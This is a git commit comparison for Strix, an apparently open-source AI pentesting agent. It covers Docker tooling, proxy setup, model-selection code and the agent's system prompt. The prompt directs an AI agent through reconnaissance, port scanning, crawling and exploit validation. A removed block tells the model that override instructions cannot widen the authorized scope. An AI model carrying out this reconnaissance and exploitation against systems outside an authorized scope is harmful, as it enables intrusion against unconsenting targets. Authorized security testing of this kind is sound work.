Compare commits

..
Author SHA1 Message Date
bearsyankees 2c470c9daa Handle target list comments and encoding errors 2026-07-06 23:29:01 -04:00
bearsyankees 7783fcac12 Add target list CLI option 2026-07-06 23:21:03 -04:00
74 changed files with 1756 additions and 7427 deletions
+1 -1
View File
@@ -16,7 +16,7 @@ jobs:
target: macos-arm64
- os: macos-15-intel
target: macos-x86_64
- os: ubuntu-22.04
- os: ubuntu-latest
target: linux-x86_64
- os: windows-latest
target: windows-x86_64
+1 -1
View File
@@ -27,8 +27,8 @@
<a href="https://x.com/strix_ai"><img src="https://github.com/usestrix/.github/raw/main/imgs/X.png" height="40" alt="Follow on X"></a>
<a href="https://trendshift.io/repositories/15362?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-15362" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/15362/weekly" alt="usestrix%2Fstrix | Trendshift" width="250" height="55"/></a>
<a href="https://trendshift.io/repositories/15362" target="_blank"><img src="https://trendshift.io/api/badge/repositories/15362" alt="usestrix/strix | Trendshift" width="250" height="55"/></a>
<a href="https://trendshift.io/repositories/15362?utm_source=trendshift-badge&amp;utm_medium=badge&amp;utm_campaign=badge-trendshift-15362" target="_blank" rel="noopener noreferrer"><img src="https://trendshift.io/api/badge/trendshift/repositories/15362/weekly" alt="usestrix%2Fstrix | Trendshift" width="250" height="55"/></a>
</div>
-3
View File
@@ -24,7 +24,6 @@ RUN apt-get update && \
python3 python3-pip python3-dev python3-venv python3-setuptools \
golang-go \
net-tools dnsutils whois \
file xxd \
jq parallel ripgrep grep \
less man-db procps htop \
iproute2 iputils-ping netcat-traditional \
@@ -193,8 +192,6 @@ RUN mkdir -p /workspace && chown -R pentester:pentester /workspace /app
USER pentester
RUN python3 -m venv /app/.venv && \
/app/.venv/bin/pip install --no-cache-dir caido-sdk-client && \
/app/.venv/bin/pip install --no-cache-dir \
requests httpx beautifulsoup4 lxml pyjwt cryptography && \
/app/.venv/bin/pip install --no-cache-dir -r /home/pentester/tools/jwt_tool/requirements.txt && \
printf '%s\n' \
'#!/bin/bash' \
+3 -20
View File
@@ -9,24 +9,10 @@ if [ ! -f /app/certs/ca.p12 ]; then
exit 1
fi
# Caido enforces a Host allowlist (DNS-rebinding protection) and rejects requests
# whose Host header is a hostname it doesn't recognize. To reach Caido over a
# hostname (rather than an IP literal), set STRIX_CAIDO_ALLOWED_DOMAINS to a
# comma-separated list of hostnames to allow. Unset by default.
# See https://docs.caido.io/app/guides/domain_allowlist
CAIDO_UI_DOMAIN_ARGS=()
if [ -n "${STRIX_CAIDO_ALLOWED_DOMAINS:-}" ]; then
IFS=',' read -ra _caido_domains <<< "${STRIX_CAIDO_ALLOWED_DOMAINS}"
for _d in "${_caido_domains[@]}"; do
[ -n "$_d" ] && CAIDO_UI_DOMAIN_ARGS+=(--ui-domain "$_d")
done
fi
caido-cli --listen 0.0.0.0:${CAIDO_PORT} \
--allow-guests \
--no-logging \
--no-open \
"${CAIDO_UI_DOMAIN_ARGS[@]}" \
--import-ca-cert /app/certs/ca.p12 \
--import-ca-cert-pass "" > "$CAIDO_LOG" 2>&1 &
@@ -91,13 +77,10 @@ http_proxy=http://127.0.0.1:${CAIDO_PORT}
https_proxy=http://127.0.0.1:${CAIDO_PORT}
EOF
# Use POSIX `.` (not the bashism `source`) so these lines are safe when the rc
# files are read by a POSIX shell (e.g. `sh -lc`), which otherwise fails with
# "source: not found". `.` is understood by bash, zsh, and dash alike.
echo ". /etc/profile.d/proxy.sh" >> ~/.bashrc
echo ". /etc/profile.d/proxy.sh" >> ~/.zshrc
echo "source /etc/profile.d/proxy.sh" >> ~/.bashrc
echo "source /etc/profile.d/proxy.sh" >> ~/.zshrc
. /etc/profile.d/proxy.sh
source /etc/profile.d/proxy.sh
echo "✅ System-wide proxy configuration complete"
-8
View File
@@ -81,14 +81,6 @@ Protocol-specific testing techniques.
| --------- | ------------------------------------------------ |
| `graphql` | GraphQL introspection, batching, resolver issues |
### Reconnaissance
Passive discovery and attack-surface mapping techniques.
| Skill | Coverage |
| ----------------- | --------------------------------------------------------------- |
| `asset_discovery` | CT, TLS SAN pivoting, passive DNS, and ASN/IP asset enumeration |
### Tooling
Sandbox CLI playbooks for core recon and scanning tools.
-8
View File
@@ -3,14 +3,6 @@ title: "AWS Bedrock"
description: "Configure Strix with models via AWS Bedrock"
---
## Installation
Bedrock requires the AWS SDK dependency. Install Strix with the bedrock extra:
```bash
pipx install "strix-agent[bedrock]"
```
## Setup
```bash
+1 -7
View File
@@ -1,6 +1,6 @@
[project]
name = "strix-agent"
version = "1.1.0"
version = "1.0.4"
description = "Open-source AI Hackers for your apps"
readme = "README.md"
license = "Apache-2.0"
@@ -34,8 +34,6 @@ classifiers = [
]
dependencies = [
"openai-agents[litellm]==0.14.6",
"openai>=2.26.0,<2.45",
"litellm",
"pydantic>=2.11.3",
"pydantic-settings>=2.13.0",
"rich",
@@ -46,10 +44,6 @@ dependencies = [
"caido-sdk-client>=0.2.0",
]
[project.optional-dependencies]
vertex = ["google-auth>=2.0.0"]
bedrock = ["boto3>=1.28.0"]
[project.scripts]
strix = "strix.interface.main:main"
+12 -73
View File
@@ -41,7 +41,7 @@ from strix.tools.proxy.tools import (
view_request,
view_sitemap_entry,
)
from strix.tools.reporting.tool import create_dependency_report, create_vulnerability_report
from strix.tools.reporting.tool import create_vulnerability_report
from strix.tools.thinking.tool import think
from strix.tools.todo.tools import (
create_todo,
@@ -55,7 +55,7 @@ from strix.tools.web_search.tool import web_search
if TYPE_CHECKING:
from collections.abc import Awaitable, Callable, Sequence
from collections.abc import Awaitable, Callable
from agents import RunContextWrapper
from agents.tool import FunctionToolResult
@@ -209,13 +209,6 @@ def _wrap_exec_command(tool: FunctionTool) -> FunctionTool:
invoke_tool = tool.on_invoke_tool
async def invoke(ctx: Any, raw_input: str) -> Any:
try:
parsed = json.loads(raw_input)
except (json.JSONDecodeError, TypeError):
parsed = None
if isinstance(parsed, dict) and "shell" not in parsed:
parsed["shell"] = "bash"
raw_input = json.dumps(parsed)
try:
return await invoke_tool(ctx, raw_input)
except ValidationError as exc:
@@ -342,7 +335,6 @@ _BASE_TOOLS: tuple[Tool, ...] = (
delete_note,
web_search,
create_vulnerability_report,
create_dependency_report,
list_requests,
view_request,
repeat_request,
@@ -357,48 +349,6 @@ _BASE_TOOLS: tuple[Tool, ...] = (
)
# Extra tools registered for scan agents. Mirrors
# ``strix.runtime.backends.register_backend``: register before the first
# ``build_strix_agent`` call and every agent (root + children) gets them.
_EXTRA_TOOLS: list[Tool] = []
def _ensure_unique_tool_names(tools: Sequence[Tool]) -> None:
seen: set[str] = set()
duplicates: set[str] = set()
for tool in tools:
if tool.name in seen:
duplicates.add(tool.name)
seen.add(tool.name)
if duplicates:
msg = f"Agent tools must have unique names: {sorted(duplicates)}"
raise ValueError(msg)
def register_agent_tools(*tools: Tool) -> None:
"""Register tools for every scan agent built afterwards.
Tools are added to both root and child agents, after the base set and
before the lifecycle tool (``finish_scan`` / ``agent_finish``). Duplicate
tool objects are ignored so repeated imports don't double-register.
"""
new_tools: list[Tool] = []
for tool in tools:
if tool not in _EXTRA_TOOLS and tool not in new_tools:
new_tools.append(tool)
_ensure_unique_tool_names([*_BASE_TOOLS, *_EXTRA_TOOLS, *new_tools, finish_scan, agent_finish])
for tool in new_tools:
_EXTRA_TOOLS.append(tool)
logger.info("Registered extra agent tool: %s", getattr(tool, "name", tool))
def registered_agent_tools() -> tuple[Tool, ...]:
"""Return the currently registered scan-agent tools."""
return tuple(_EXTRA_TOOLS)
def build_strix_agent(
*,
name: str = "strix",
@@ -409,37 +359,26 @@ def build_strix_agent(
interactive: bool = False,
chat_completions_tools: bool = False,
system_prompt_context: dict[str, Any] | None = None,
extra_tools: Sequence[Tool] | None = None,
instructions_override: str | None = None,
) -> SandboxAgent[Any]:
"""Build a SandboxAgent for either root or child use.
Args:
chat_completions_tools: Wrap SDK custom tools as function tools
when the selected backend cannot accept Responses custom tools.
extra_tools: Additional tools for this scan agent only, on top of any
registered via ``register_agent_tools``.
instructions_override: Use this verbatim as the system prompt instead
of rendering the built-in scan prompt.
"""
if instructions_override is not None:
instructions = instructions_override
else:
instructions = render_system_prompt(
skills=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
is_root=is_root,
interactive=interactive,
system_prompt_context=system_prompt_context,
)
instructions = render_system_prompt(
skills=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
is_root=is_root,
interactive=interactive,
system_prompt_context=system_prompt_context,
)
agent_tools = [*_EXTRA_TOOLS, *(extra_tools or [])]
if is_root:
tools: list[Tool] = [*_BASE_TOOLS, *agent_tools, finish_scan]
tools: list[Tool] = [*_BASE_TOOLS, finish_scan]
else:
tools = [*_BASE_TOOLS, *agent_tools, agent_finish]
_ensure_unique_tool_names(tools)
tools = [*_BASE_TOOLS, agent_finish]
logger.info(
"Built %s agent '%s' (skills=%d, tools=%d, scan_mode=%s, whitebox=%s)",
+3 -3
View File
@@ -7,7 +7,7 @@ from typing import Any
from jinja2 import Environment, FileSystemLoader, select_autoescape
from strix.skills import get_available_skills, load_skills, skill_search_dirs
from strix.skills import get_available_skills, load_skills
from strix.utils.resource_paths import get_strix_resource_path
@@ -69,9 +69,9 @@ def render_system_prompt(
"""Render the system prompt. Returns empty string on template failure."""
try:
prompt_dir = get_strix_resource_path("agents", _PROMPT_DIRNAME)
loader_dirs = [prompt_dir, *skill_search_dirs()]
skills_dir = get_strix_resource_path("skills")
env = Environment(
loader=FileSystemLoader(loader_dirs),
loader=FileSystemLoader([prompt_dir, skills_dir]),
autoescape=select_autoescape(
enabled_extensions=(),
default_for_string=False,
+6 -28
View File
@@ -168,24 +168,9 @@ EFFICIENCY TACTICS:
- Download additional tools as needed for specific tasks
- Run multiple scans in parallel when possible
- Load the most relevant skill before starting a specialized testing workflow if doing so will improve accuracy, speed, or tool usage
- Use `exec_command` for Python code: write reusable scripts to a file and
run them with `python3 script.py`. For one-off snippets, `python3 -c` or a
here-document is acceptable, but avoid deeply nested quotes/parentheses — if
a snippet needs complex quoting or is more than a few lines, write it to a
file first to prevent syntax errors.
- Before importing a third-party Python library, make sure it is installed. The
sandbox's `python3` runs inside a preconfigured virtualenv that ships
`requests`, `httpx`, `beautifulsoup4` (bs4), `lxml`, `pyjwt`, and
`cryptography`; for anything else prefer the stdlib or run `pip install <pkg>`
(it installs into that active venv) before importing, rather than letting the
script fail with `ModuleNotFoundError`.
- `exec_command` runs each command in a fresh non-interactive shell (plain
pipes, no TTY). To drive an interactive or long-running process with
`write_stdin` — REPLs, `ssh`/`nc`/`ftp`, `msfconsole`, or to send Ctrl-C —
you MUST start it with `exec_command(cmd="...", tty=true)` and then
`write_stdin(session_id=<id>, chars="...")`. Calling `write_stdin` on a
default (non-TTY) command or on a process that has already exited fails with
"stdin is not available".
- Use `exec_command` for Python code: write reusable scripts under
`/workspace/scratch/` and run them with `python3`. For one-off snippets,
`python3 -c` or a here-document is acceptable.
- For Caido proxy automation inside Python, explicitly import from
`caido_api`:
`from caido_api import list_requests, view_request, repeat_request, list_sitemap, view_sitemap_entry, scope_rules`
@@ -201,11 +186,11 @@ EFFICIENCY TACTICS:
VALIDATION REQUIREMENTS:
- Full validation required - no assumptions
- Demonstrate concrete impact with evidence
- Consider business context for severity assessment — check whether the target is a demo/sandbox environment or content meant to be public, and factor that in
- Consider business context for severity assessment
- Independent verification through subagent
- Document complete attack chain
- Keep going until you find something that matters
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report (or create_dependency_report for known-CVE dependency/supply-chain findings) with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- A vulnerability is ONLY considered reported when a reporting agent uses create_vulnerability_report with full details. Mentions in agent_finish, finish_scan, or generic messages are NOT sufficient
- Do NOT patch/fix before reporting: first create the vulnerability report via create_vulnerability_report (by the reporting agent). Only after reporting is completed should fixing/patching proceed
- DEDUPLICATION: The create_vulnerability_report tool uses LLM-based deduplication. If it rejects your report as a duplicate, DO NOT attempt to re-submit the same vulnerability. Accept the rejection and move on to testing other areas. The vulnerability has already been reported by another agent
</execution_guidelines>
@@ -255,18 +240,12 @@ AGENT ISOLATION & SANDBOXING:
- All agents share the same /workspace directory and proxy history
- Agents can see each other's files and proxy traffic for better collaboration
DISK & SCRATCH HYGIENE:
- /workspace is a shared, finite disk used by all agents at once — be a considerate tenant
- Prefer bounded recon: scope crawls and scans by depth, duration, and target rather than "collect everything"
- Redirect large tool output to a file, and once you've extracted what you need (e.g. a URL/endpoint list), remove the raw output
- If disk gets tight or a write fails for space, check what's large under /workspace and clean up files from your own task; leave another agent's files unless you've confirmed they're no longer in use
MANDATORY INITIAL PHASES:
BLACK-BOX TESTING - PHASE 1 (RECON & MAPPING):
- COMPLETE full reconnaissance: subdomain enumeration, port scanning, service detection
- MAP entire attack surface: all endpoints, parameters, APIs, forms, inputs
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files — keep each crawl bounded by depth/duration, and tidy up raw output once endpoints are extracted
- CRAWL thoroughly: spider all pages (authenticated and unauthenticated), discover hidden paths, analyze JS files
- ENUMERATE technologies: frameworks, libraries, versions, dependencies
- Reconnaissance should normally happen before targeted vulnerability discovery unless the correct next move is already obvious or the user/system explicitly asks to prioritize a specific area first
- ONLY AFTER comprehensive mapping → proceed to vulnerability testing
@@ -434,7 +413,6 @@ SPECIALIZED TOOLS:
PROXY & INTERCEPTION:
- Caido CLI - Modern web proxy (already running). Use the proxy tools
directly, or import `caido_api` from sandbox Python scripts.
- HTTPQL filters (for `list_requests`): quote string values, leave integers unquoted (`resp.code.eq:200`, not `"200"`); combine terms with `AND`/`OR` (there is no `NOT` — use the negated operator `ne`/`ncont`/`nregex`). Numeric fields (`resp.code`, `req.port`) use `eq`/`ne`/`gt`/`gte`/`lt`/`lte`; text fields (`req.host`, `req.path`, `req.method`, `req.raw`) use `cont`/`ncont`/`eq`/`regex`. Example: `resp.code.gte:200 AND resp.code.lt:300 AND req.host.cont:"api"`.
- NOTE: If you are seeing proxy errors when sending requests, it usually means you are not sending requests to a correct url/host/port.
- Ignore Caido proxy-generated 50x HTML error pages; these are proxy issues (might happen when requesting a wrong host or SSL/TLS issues, etc).
-149
View File
@@ -10,7 +10,6 @@ from agents.models.multi_provider import MultiProvider
from agents.retry import (
ModelRetryBackoffSettings,
ModelRetrySettings,
RetryPolicyContext,
retry_policies,
)
@@ -21,21 +20,6 @@ if TYPE_CHECKING:
from strix.config.settings import Settings
def request_timeout_extra_args(timeout_s: float | None) -> dict[str, float] | None:
"""Per-request model timeout; a plain float so ``ModelSettings.to_json_dict()`` stays serializable.""" # noqa: E501
if not timeout_s or timeout_s <= 0:
return None
return {"timeout": timeout_s}
def _retry_statusless_provider_errors(context: RetryPolicyContext) -> bool:
"""Retry statusless provider errors (e.g. mid-stream quota/billing), but not aborts."""
normalized = context.normalized
if normalized.is_abort:
return False
return normalized.status_code is None
class StrixProvider(MultiProvider):
"""Route any non-OpenAI prefix through LiteLLM with the prefix preserved,
so users type ``deepseek/deepseek-chat`` rather than
@@ -72,53 +56,15 @@ DEFAULT_MODEL_RETRY = ModelRetrySettings(
retry_policies.provider_suggested(),
retry_policies.network_error(),
retry_policies.http_status((429, 500, 502, 503, 504)),
_retry_statusless_provider_errors,
),
)
RECOMMENDED_MODEL_NAMES = (
"openai/gpt-5.6",
"openai/gpt-5.6-sol",
"openai/gpt-5.6-terra",
"openai/gpt-5.5",
"openai/gpt-5.5-pro",
"openai/gpt-5.4",
"openai/gpt-5.3-codex",
"anthropic/claude-fable-5",
"anthropic/claude-opus-4-8",
"anthropic/claude-opus-4-7",
"anthropic/claude-sonnet-5",
"anthropic/claude-sonnet-4-6",
"vertex_ai/gemini-3.1-pro-preview",
"gemini/gemini-3.1-pro-preview",
"deepseek/deepseek-v4-pro",
"deepseek/deepseek-v4-flash",
"dashscope/qwen3.7-max-2026-06-08",
"moonshot/kimi-k2.7-code",
"moonshot/kimi-k2.6",
)
_RECOMMENDED_MODEL_NAME_SET = frozenset(name.lower() for name in RECOMMENDED_MODEL_NAMES)
FRONTIER_MODEL_FAMILIES = (
(("azure", "azure_ai", "bedrock_mantle", "openai"), ("gpt-5",)),
(
("anthropic", "azure_ai", "bedrock", "claude", "databricks", "snowflake", "vertex_ai"),
("claude-fable-5", "claude-opus-4", "claude-sonnet-5", "claude-sonnet-4"),
),
(("google", "gemini", "vertex_ai"), ("gemini-3",)),
(("deepseek",), ("deepseek-v4", "deepseek-r1", "deepseek-reasoner")),
(("alibaba", "dashscope", "qwen"), ("qwen3.7", "qwen3.5", "qwen3-max")),
(("moonshot", "moonshotai", "kimi"), ("kimi-k2.7", "kimi-k2.6", "kimi-k2.5")),
)
def configure_sdk_model_defaults(settings: Settings) -> None:
"""Apply Strix config to SDK-native defaults."""
llm = settings.llm
set_tracing_disabled(True)
_configure_litellm_compatibility()
_configure_openrouter_attribution(llm.model)
if llm.api_key:
set_default_openai_key(llm.api_key, use_for_tracing=False)
_configure_litellm_default("api_key", llm.api_key)
@@ -165,29 +111,6 @@ def _configure_litellm_compatibility() -> None:
_register_litellm_cost_callback()
_OPENROUTER_ATTRIBUTION_HEADERS = {
"HTTP-Referer": "https://strix.ai",
"X-Title": "Strix",
"X-OpenRouter-Categories": "cli-agent",
}
def _configure_openrouter_attribution(model_name: str | None) -> None:
import litellm
current: object = litellm.headers
existing: dict[str, str] = current if isinstance(current, dict) else {}
if not model_name or "openrouter/" not in model_name.strip().lower():
if any(key in existing for key in _OPENROUTER_ATTRIBUTION_HEADERS):
remaining = {
k: v for k, v in existing.items() if k not in _OPENROUTER_ATTRIBUTION_HEADERS
}
litellm.headers = remaining or None # type: ignore[assignment]
return
litellm.headers = {**existing, **_OPENROUTER_ATTRIBUTION_HEADERS} # type: ignore[assignment]
def _register_litellm_cost_callback() -> None:
import litellm
@@ -233,78 +156,6 @@ def model_supports_reasoning(model_name: str) -> bool:
return bool(entry and entry.get("supports_reasoning"))
def is_recommended_or_frontier_model(model_name: str) -> bool:
"""Return whether a model is recommended or in a frontier model family."""
name = _normalized_model_name(model_name)
if not name:
return False
if name in _RECOMMENDED_MODEL_NAME_SET:
return True
provider_name, bare_model_name = _split_model_provider(name)
return any(
_matches_frontier_family(provider_name, bare_model_name, provider_markers, prefixes)
for provider_markers, prefixes in FRONTIER_MODEL_FAMILIES
)
def _normalized_model_name(model_name: str) -> str:
name = model_name.strip().lower()
for prefix in ("litellm/", "any-llm/"):
if name.startswith(prefix):
name = name[len(prefix) :]
break
return name
def _split_model_provider(model_name: str) -> tuple[str | None, str]:
if "/" not in model_name:
return None, model_name
provider_name, bare_model_name = model_name.rsplit("/", 1)
return provider_name, bare_model_name
def _matches_frontier_family(
provider_name: str | None,
model_name: str,
provider_markers: tuple[str, ...],
model_prefixes: tuple[str, ...],
) -> bool:
if not _matches_model_prefix(model_name, model_prefixes):
return False
if provider_name is None:
return True
return _contains_provider_marker(
provider_name, provider_markers, split_compound_names=True
) or _contains_provider_marker(model_name, provider_markers)
def _matches_model_prefix(model_name: str, model_prefixes: tuple[str, ...]) -> bool:
return any(
candidate.startswith(prefix)
for candidate in _model_name_candidates(model_name)
for prefix in model_prefixes
)
def _model_name_candidates(model_name: str) -> tuple[str, ...]:
if "." not in model_name:
return (model_name,)
suffixes = tuple(
model_name.split(".", index)[-1] for index in range(1, model_name.count(".") + 1)
)
return (model_name, *suffixes)
def _contains_provider_marker(
value: str, provider_markers: tuple[str, ...], *, split_compound_names: bool = False
) -> bool:
parts = set(value.replace(".", "/").split("/"))
if split_compound_names:
for separator in ("_", "-"):
parts.update(piece for part in tuple(parts) for piece in part.split(separator))
return any(marker in parts for marker in provider_markers)
def is_known_openai_bare_model(model_name: str) -> bool:
import litellm
-6
View File
@@ -36,10 +36,6 @@ class LlmSettings(BaseSettings):
),
)
reasoning_effort: ReasoningEffort = Field(default="high", alias="STRIX_REASONING_EFFORT")
force_required_tool_choice: bool = Field(
default=False,
alias="STRIX_FORCE_REQUIRED_TOOL_CHOICE",
)
timeout: int = Field(default=300, alias="LLM_TIMEOUT")
@@ -56,8 +52,6 @@ class RuntimeSettings(BaseSettings):
# on large repos). Above this, the user must bind-mount via ``--mount``.
# Set to 0 (or less) to disable the pre-flight check entirely.
max_local_copy_mb: int = Field(default=1024, alias="STRIX_MAX_LOCAL_COPY_MB")
# Max screenshot/image tool outputs kept live per agent context (0 = none).
max_context_images: int = Field(default=3, ge=0, alias="STRIX_MAX_CONTEXT_IMAGES")
class TelemetrySettings(BaseSettings):
+1 -4
View File
@@ -10,8 +10,6 @@ from dataclasses import dataclass, field
from pathlib import Path
from typing import TYPE_CHECKING, Any, Literal, cast
from strix.core.sessions import session_write_lock
if TYPE_CHECKING:
from agents.items import TResponseInputItem
@@ -139,8 +137,7 @@ class AgentCoordinator:
)
return False
try:
async with session_write_lock(session):
await session.add_items([self._message_to_session_item(message)])
await session.add_items([self._message_to_session_item(message)])
except Exception:
logger.exception(
"agent.send failed to append to SDK session target=%s",
+1 -12
View File
@@ -17,11 +17,7 @@ from openai import APIError
from strix.core.hooks import BudgetExceededError
from strix.core.inputs import child_initial_input
from strix.core.sessions import (
enforce_image_budget,
open_agent_session,
strip_all_images_from_session,
)
from strix.core.sessions import open_agent_session, strip_all_images_from_session
if TYPE_CHECKING:
@@ -353,13 +349,6 @@ async def _run_cycle( # noqa: PLR0912, PLR0915
while True:
try:
await coordinator.mark_running(agent_id)
if session is not None:
max_images = context.get("max_context_images")
if isinstance(max_images, int):
try:
await enforce_image_budget(session, max_images)
except Exception:
logger.exception("image-budget enforcement failed for %s", agent_id)
stream = Runner.run_streamed(
agent,
input=input_data,
+2 -4
View File
@@ -3,7 +3,6 @@
from __future__ import annotations
import logging
import math
from typing import TYPE_CHECKING, Any
from agents.lifecycle import RunHooks
@@ -28,9 +27,8 @@ class ReportUsageHooks(RunHooks[dict[str, Any]]):
"""Persist SDK-native usage after every model response."""
def __init__(self, *, model: str, max_budget_usd: float | None = None) -> None:
if max_budget_usd is not None and (
not math.isfinite(max_budget_usd) or max_budget_usd <= 0
):
import math
if max_budget_usd is not None and (not math.isfinite(max_budget_usd) or max_budget_usd <= 0):
raise ValueError("max_budget_usd must be a finite number greater than 0")
self._model = model
self._max_budget_usd = max_budget_usd
+2 -26
View File
@@ -8,13 +8,7 @@ from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from openai.types.shared import Reasoning
from strix.config.models import (
DEFAULT_MODEL_RETRY,
is_known_openai_bare_model,
model_supports_reasoning,
request_timeout_extra_args,
)
from strix.core.sessions import scrub_images_from_items
from strix.config.models import DEFAULT_MODEL_RETRY, model_supports_reasoning
if TYPE_CHECKING:
@@ -24,15 +18,6 @@ if TYPE_CHECKING:
DEFAULT_MAX_TURNS = 500
def _accepts_required_tool_choice(model_name: str | None) -> bool:
name = (model_name or "").strip().lower()
for prefix in ("litellm/", "any-llm/"):
if name.startswith(prefix):
name = name[len(prefix) :]
break
return name.startswith("openai/") or is_known_openai_bare_model(name)
def build_root_task(scan_config: dict[str, Any]) -> str:
targets = scan_config.get("targets", []) or []
diff_scope = scan_config.get("diff_scope") or {}
@@ -126,14 +111,11 @@ def make_model_settings(
reasoning_effort: ReasoningEffort | None,
*,
model_name: str,
force_required_tool_choice: bool = False,
request_timeout: float | None = None,
) -> ModelSettings:
model_settings = ModelSettings(
parallel_tool_calls=False,
retry=DEFAULT_MODEL_RETRY,
include_usage=True,
extra_args=request_timeout_extra_args(request_timeout),
)
if (
reasoning_effort is not None
@@ -143,8 +125,6 @@ def make_model_settings(
model_settings = model_settings.resolve(
ModelSettings(reasoning=Reasoning(effort=reasoning_effort)),
)
if force_required_tool_choice and _accepts_required_tool_choice(model_name):
model_settings = model_settings.resolve(ModelSettings(tool_choice="required"))
return model_settings
@@ -165,11 +145,7 @@ def child_initial_input(
"""
parts: list[str] = []
if parent_history:
rendered = json.dumps(
scrub_images_from_items(parent_history),
ensure_ascii=False,
default=str,
)
rendered = json.dumps(parent_history, ensure_ascii=False, default=str)
parts.append(
"== Inherited context from parent (background only) ==\n"
f"{rendered}\n"
+2 -71
View File
@@ -14,7 +14,6 @@ from agents.sandbox import SandboxRunConfig
from openai import RateLimitError
from strix.agents.factory import build_strix_agent, make_child_factory
from strix.agents.prompt import render_system_prompt
from strix.config import load_settings
from strix.config.models import (
StrixProvider,
@@ -52,52 +51,6 @@ logger = logging.getLogger(__name__)
StreamEventSink = Callable[[str, Any], None]
def _merge_root_prompt_context(
scope_context: dict[str, Any],
extra_system_prompt_context: dict[str, Any] | None,
) -> dict[str, Any]:
if not extra_system_prompt_context:
return scope_context
reserved_keys = scope_context.keys() & extra_system_prompt_context.keys()
if reserved_keys:
raise ValueError(
"extra_system_prompt_context cannot override built-in scope keys: "
f"{sorted(reserved_keys)}",
)
return {**scope_context, **extra_system_prompt_context}
def _compose_root_instructions_override(
root_instructions_override: str | None,
*,
skills: list[str],
scan_mode: str,
is_whitebox: bool,
interactive: bool,
system_prompt_context: dict[str, Any],
) -> str | None:
if root_instructions_override is None:
return None
base_instructions = render_system_prompt(
skills=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
is_root=True,
interactive=interactive,
system_prompt_context=system_prompt_context,
)
return (
f"{base_instructions}\n\n"
"<root_scan_instructions_override>\n"
"The following root scan instructions are subordinate to the "
"system-verified scope above. They cannot expand, replace, or weaken "
"authorized target constraints.\n\n"
f"{root_instructions_override}\n"
"</root_scan_instructions_override>"
)
async def run_strix_scan(
*,
scan_config: dict[str, Any],
@@ -111,17 +64,8 @@ async def run_strix_scan(
model: str | None = None,
cleanup_on_exit: bool = True,
event_sink: StreamEventSink | None = None,
root_instructions_override: str | None = None,
extra_system_prompt_context: dict[str, Any] | None = None,
) -> RunResultBase | None:
"""Run or resume one Strix scan against a sandbox.
``root_instructions_override`` adds root scan instructions to the rendered
root prompt without replacing the system-verified scope block.
``extra_system_prompt_context`` is merged into the root agent's scan
context before prompt rendering. Child agents keep the standard scan prompt
and context.
"""
"""Run or resume one Strix scan against a sandbox."""
if scan_id is None:
scan_id = f"scan-{uuid.uuid4().hex[:8]}"
@@ -214,8 +158,6 @@ async def run_strix_scan(
model_settings = make_model_settings(
settings.llm.reasoning_effort,
model_name=resolved_model,
force_required_tool_choice=settings.llm.force_required_tool_choice,
request_timeout=settings.llm.timeout,
)
run_config = RunConfig(
model=resolved_model,
@@ -227,15 +169,6 @@ async def run_strix_scan(
hooks = ReportUsageHooks(model=resolved_model, max_budget_usd=max_budget_usd)
scope_context = build_scope_context(scan_config)
root_context = _merge_root_prompt_context(scope_context, extra_system_prompt_context)
root_instructions = _compose_root_instructions_override(
root_instructions_override,
skills=skills,
scan_mode=scan_mode,
is_whitebox=is_whitebox,
interactive=interactive,
system_prompt_context=root_context,
)
root_agent = build_strix_agent(
name="strix",
@@ -245,8 +178,7 @@ async def run_strix_scan(
is_whitebox=is_whitebox,
interactive=interactive,
chat_completions_tools=chat_completions_tools,
system_prompt_context=root_context,
instructions_override=root_instructions,
system_prompt_context=scope_context,
)
if not is_resume:
@@ -288,7 +220,6 @@ async def run_strix_scan(
"parent_id": None,
"interactive": interactive,
"spawn_child_agent": spawn_child_agent,
"max_context_images": settings.runtime.max_context_images,
}
root_session = open_agent_session(root_id, agents_db)
+36 -121
View File
@@ -2,149 +2,64 @@
from __future__ import annotations
import asyncio
import logging
import contextlib
from typing import TYPE_CHECKING, Any, cast
from weakref import WeakKeyDictionary
from agents.memory import SQLiteSession
if TYPE_CHECKING:
from collections.abc import Callable
from pathlib import Path
from agents.items import TResponseInputItem
from agents.memory import Session
logger = logging.getLogger(__name__)
def open_agent_session(agent_id: str, path: Path) -> SQLiteSession:
path.parent.mkdir(parents=True, exist_ok=True)
return SQLiteSession(session_id=agent_id, db_path=path)
_IMAGE_REJECTED_TEXT = "[image rejected by the model]"
_IMAGE_ELIDED_TEXT = "[older screenshot elided to bound context memory]"
_INHERITED_IMAGE_TEXT = "[screenshot omitted from inherited context]"
def _output_has_image(item_dict: dict[str, Any]) -> bool:
return (
item_dict.get("type") == "function_call_output"
and isinstance(item_dict.get("output"), list)
and any(isinstance(b, dict) and b.get("type") == "input_image" for b in item_dict["output"])
)
def _elided_output(item_dict: dict[str, Any], text: str) -> dict[str, Any]:
# Replace only image blocks; sibling text blocks are preserved.
output = item_dict.get("output")
blocks = output if isinstance(output, list) else []
return {
"type": "function_call_output",
"call_id": item_dict.get("call_id"),
"output": [
{"type": "input_text", "text": text}
if isinstance(block, dict) and block.get("type") == "input_image"
else block
for block in blocks
],
}
_session_write_locks: WeakKeyDictionary[Session, asyncio.Lock] = WeakKeyDictionary()
def session_write_lock(session: Session) -> asyncio.Lock:
"""Lock serialising all out-of-band writes to ``session``."""
lock = _session_write_locks.get(session)
if lock is None:
lock = asyncio.Lock()
_session_write_locks[session] = lock
return lock
async def _rewrite_session(
session: Session,
transform: Callable[[list[Any]], tuple[list[Any], bool]],
) -> bool:
"""Read-modify-write a session under its write lock, restoring on failure."""
async with session_write_lock(session):
items = await session.get_items()
if not items:
return False
rebuilt, changed = transform(list(items))
if not changed:
return False
rebuilt_items = cast("list[TResponseInputItem]", rebuilt)
original_items = cast("list[TResponseInputItem]", list(items))
await session.clear_session()
try:
await session.add_items(rebuilt_items)
except Exception:
logger.exception("session rewrite failed; restoring original items")
await session.clear_session()
await session.add_items(original_items)
raise
return True
async def strip_all_images_from_session(session: Session) -> bool:
"""Replace every image tool output with a text placeholder (rejection recovery)."""
